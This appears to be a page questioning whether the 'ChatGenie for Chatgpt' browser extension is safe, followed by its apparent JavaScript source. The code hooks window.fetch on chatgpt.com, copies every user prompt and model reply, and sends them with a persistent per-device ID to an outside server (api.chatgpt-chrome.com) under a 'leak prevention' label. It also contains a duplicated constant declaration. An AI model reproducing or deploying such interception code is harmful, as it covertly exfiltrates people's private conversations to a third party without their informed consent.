Is ChatGenie for Chatgpt safe?

function installFetchOverride() {
  if (!location.href.toLowerCase().startsWith('https://chatgpt.com/')) return false;
  const { fetch: originalFetch } = window;

  function isConversationRequest(url) {
    try {
      return new URL(url).pathname.endsWith('/conversation');
    } catch {
      return false;
    }
  }

  window.fetch = async (...args) => {
    const [request, init] = args;
    const url = request.url || request.toString();
    const response = await originalFetch(...args);
    const contentType = response.headers.get('content-type') || '';

    if (!isConversationRequest(url) || !contentType.includes('text/event-stream')) {
      return response;
    }

    let requestBody;
    try { requestBody = JSON.parse(init.body); } catch {}
    let conversationId = requestBody.conversation_id;
    const outgoingMessages = requestBody.messages;

    const { readable, writable } = new TransformStream();
    if (response.body) {
      const reader = response.body.getReader();
      const writer = writable.getWriter();
      const decoder = new TextDecoder();
      let buffer = '', replyText = '', replyMessageId = '', model = '';

      (async () => {
        while (true) {
          const { done, value } = await reader.read();
          if (done) break;
          buffer += decoder.decode(value, { stream: true });
          let boundary;
          while ((boundary = buffer.indexOf('\n\n')) !== -1) {
            const rawEvent = buffer.slice(0, boundary).trim();
            buffer = buffer.slice(boundary + 2);
            if (!rawEvent) continue;
            const evt = parseSSE(rawEvent);
            if (evt.event === 'delta' || evt.event === 'message') {
              let data;
              try { data = JSON.parse(evt.data); } catch {}
              if (data) {
                if (typeof data.v === 'string') {
                  replyText += data.v;
                } else if (data.v && data.v.length > 0) {
                  for (const op of data.v) {
                    if (op.v && op.o === 'append' && typeof op.v === 'string') replyText += op.v;
                  }
                } else if (data.v && data.v.message && data.v.message.id) {
                  replyMessageId = data.v.message.id;
                } else if (data.metadata) {
                  if (data.conversation_id) conversationId = data.conversation_id;
                  if (data.metadata.model_slug) model = data.metadata.model_slug;
                }
              }
            }
            writer.write(value);
          }
        }
        writer.close();

        for (const msg of outgoingMessages || []) {
          if (msg.content && msg.content.parts && msg.content.parts.length > 0) {
            postToPage({
              client_ts: Date.now(), session_id: conversationId, message_id: msg.id,
              chat_domain: 'chatgpt.com', model, prompt: msg.content.parts.join(''),
              role: 'user', is_subscribed: false, language: ''
            });
          }
        }
        postToPage({
          client_ts: Date.now(), session_id: conversationId, message_id: replyMessageId,
          chat_domain: 'chatgpt.com', model, prompt: replyText,
          role: 'system', is_subscribed: false, language: ''
        });
      })();

      return new Response(readable, { headers: response.headers, status: response.status, statusText: response.statusText });
    }
    return response;
  };

  return true;
};

function postToPage(payload) {
  window.postMessage({ source: 'content-script', payload });
}

function parseSSE(rawEvent) {
  const lines = rawEvent.split(/\r?\n/);
  const evt = { event: 'message', data: '', id: '', retry: '' };
  for (const line of lines) {
    if (line.startsWith(':')) continue;
    const [field, ...rest] = line.split(':');
    const value = rest.join(':').trimStart();
    if (field === 'event') evt.event = value;
    else if (field === 'data') evt.data += value + '\n';
    else if (field === 'id') evt.id = value;
    else if (field === 'retry') evt.retry = value;
  }
  if (evt.data.endsWith('\n')) evt.data = evt.data.slice(0, -1);
  return evt;
}

const MSG_TYPE = 'leak_prevention_msg';

function relayToBackground() {
  if (window.top !== window) return false; // only run in the top frame
  return window.addEventListener('message', (event) => {
    if (event.source !== window || !event.data || event.data.source !== 'content-script') return;
    chrome.runtime.sendMessage({ type: MSG_TYPE, data: event.data.payload });
  }), true;
}

const MSG_TYPE = 'leak_prevention_msg';
const LEAK_PREVENTION_ENDPOINT = 'https://api.chatgpt-chrome.com/api/leakprevention/v2/check';

function showSensitiveWarning() {
  alert("Your prompt may have sensitive information inside. This message won't be shown again for this tab.");
}

async function submitForScreening(payload, tabId) {
  payload.cid = await Analytics.getOrCreateClientId(); // persistent per-device UUID, reused forever
  const response = await fetch(LEAK_PREVENTION_ENDPOINT, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(payload)
  });
  if (response.ok) {
    const result = await response.json();
    if (result.verdict === 'unsafe' && tabId) {
      const shownKey = `shown_${tabId}`;
      const alreadyShown = await chrome.storage.session.get([shownKey]);
      if (!alreadyShown[shownKey]) {
        await chrome.storage.session.set({ [shownKey]: true });
        await chrome.scripting.executeScript({ target: { tabId }, func: showSensitiveWarning });
      }
    }
  }
}

function initLeakPreventionListener() {
  chrome.runtime.onMessage.addListener((message, sender) => {
    if (message && message.type === MSG_TYPE) {
      submitForScreening(message.data, sender.tab && sender.tab.id);
    }
  });
  return true;
}